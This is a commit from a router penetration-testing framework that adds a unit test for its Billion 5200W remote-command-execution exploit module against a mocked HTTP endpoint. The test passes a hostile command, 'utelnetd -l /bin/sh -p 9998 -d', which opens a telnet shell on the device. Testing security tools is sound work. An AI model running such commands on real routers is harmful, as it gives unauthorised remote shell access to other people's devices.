Adding tests for Billion 5200W RCE module (#527)

* Adding tests for Billion 5200W RCE module

* Trigger Travis

tests/exploits/routers/billion/test_billion_5200w_rce.py

+from routersploit.modules.exploits.routers.billion.billion_5200w_rce import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - successful check """
+
+    route_mock = target.get_route_mock("/cgi-bin/adv_remotelog.asp", methods=["POST"])
+    route_mock.return_value = (
+        "TEST"
+    )
+
+    exploit = Exploit()
+
+    assert exploit.target == ""
+    assert exploit.port == 80
+
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is None
+    assert exploit.run() is None
+    assert exploit.execute1("utelnetd -l /bin/sh -p 9998 -d")
+    assert exploit.execute2("utelnetd -l /bin/sh -p 9998 -d")